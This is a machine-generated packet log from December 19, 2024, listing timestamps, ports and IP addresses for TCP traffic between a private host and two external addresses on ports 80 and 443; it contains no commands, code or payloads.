Dec 19, 2024 14:10:33.694242001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.694259882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.694312096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.695036888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.695092916 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.695113897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.695173025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.695806026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.695853949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.695961952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.696032047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.696656942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.696724892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.696774960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.696825027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.697499990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.697552919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.697706938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.697772026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.698434114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.698484898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.698549986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.698597908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.699369907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.699415922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.809979916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.810039997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.810184956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.810261011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.811453104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.811506033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.811575890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.811626911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.812119007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.812171936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.812279940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.812335014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.812903881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.812952042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.813232899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.813280106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.813350916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.813400030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.814071894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.814131021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.814146042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.814193010 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.814755917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.814815998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.814882040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.814944029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.815458059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.815509081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.827481031 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:33.827510118 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:33.827593088 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:33.828077078 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:33.828092098 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:33.854712963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.854814053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.854837894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.855026007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.855180979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.855268955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.855350018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.855398893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.855959892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.856046915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.856317997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.856367111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.856514931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.856688023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.857150078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.857199907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.857222080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.857326031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.858033895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.858118057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.858158112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.858212948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.858858109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.858906984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.858971119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.859028101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.863594055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.863600016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.863611937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.863617897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.863624096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.863631010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.863704920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.864105940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.864156961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.864291906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.864362955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.864849091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.864856005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.864911079 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.866087914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.866095066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.866143942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.866660118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.866710901 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.866847038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.866897106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.867556095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.867563009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.867614985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.868252039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.868257999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.868271112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.868275881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.868285894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.868292093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.868309021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.868339062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.869029999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.869101048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.869163990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.869211912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.869848967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.869913101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.870011091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.870063066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.870768070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.870807886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.870812893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.870846987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.871612072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.871670008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.871704102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.871756077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.872349024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.872407913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.872421980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.872492075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.873075008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.873126030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.873234987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.873285055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.874015093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.874098063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.874115944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.874157906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.874849081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.874897003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.874937057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.874955893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.875725985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.875732899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.875782013 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.876542091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.876591921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.876689911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.876838923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.877309084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.877381086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.877449036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.877496958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.878171921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.878221989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.878242016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.878293991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.879017115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.879105091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.879144907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.879193068 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.879867077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.879919052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.879960060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.880006075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.880670071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.880718946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.880742073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.880788088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.881633997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.881695986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.881702900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.881813049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.882375002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.882424116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.882447958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.882493973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.883259058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.883317947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.883332014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.883384943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.884080887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.884164095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.884186029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.884254932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.884861946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.884908915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.884965897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.885014057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.885873079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.885942936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.885961056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.886090994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.886836052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.886894941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.886950970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.887007952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.887996912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.888045073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.888180971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.888273001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.888921022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.888973951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.888993979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.889046907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.889722109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.889766932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.889786005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.889833927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.890450001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.890501022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.890553951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.890610933 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.891160965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.891216040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.891253948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.891320944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.891937971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.891988993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.891990900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.892040014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.892719030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.892772913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.892915010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.892992020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:33.893532038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:33.893585920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.001404047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.001540899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.001550913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.001614094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.001903057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.001950979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.002027988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.002074957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.002698898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.002749920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.002806902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.002851963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.003537893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.003592968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.003808975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.003858089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.003905058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.004009008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.004710913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.004765987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.004862070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.004906893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.005541086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.005590916 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.005657911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.005702019 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.006270885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.006324053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.047053099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.047111034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.047223091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.047272921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.047508001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.047554970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.047650099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.047698021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.048325062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.048382044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.048429012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.048477888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.049165010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.049223900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.049274921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.049324036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.050010920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.050070047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.050122023 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.050164938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.050973892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.051026106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.051063061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.051115036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.051822901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.051877022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.052103996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.052150965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.052546024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.052593946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.052664042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.052709103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.053343058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.053384066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.053498030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.053564072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.054330111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.054378033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.054809093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.054855108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.055066109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.055113077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.055135965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.055186033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.055875063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.055923939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.055994987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.056041956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.056807995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.056850910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.056915998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.056973934 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.057569981 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.057616949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.057672024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.057718992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.058394909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.058442116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.058504105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.058553934 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.059335947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.059398890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.059500933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.059551954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.060095072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.060157061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.060175896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.060225964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.061064959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.061120033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.061184883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.061234951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.061954975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.062010050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.062017918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.062053919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.062648058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.062665939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.062700987 CET	49800	80	192.168.2.4	31.41.244.11
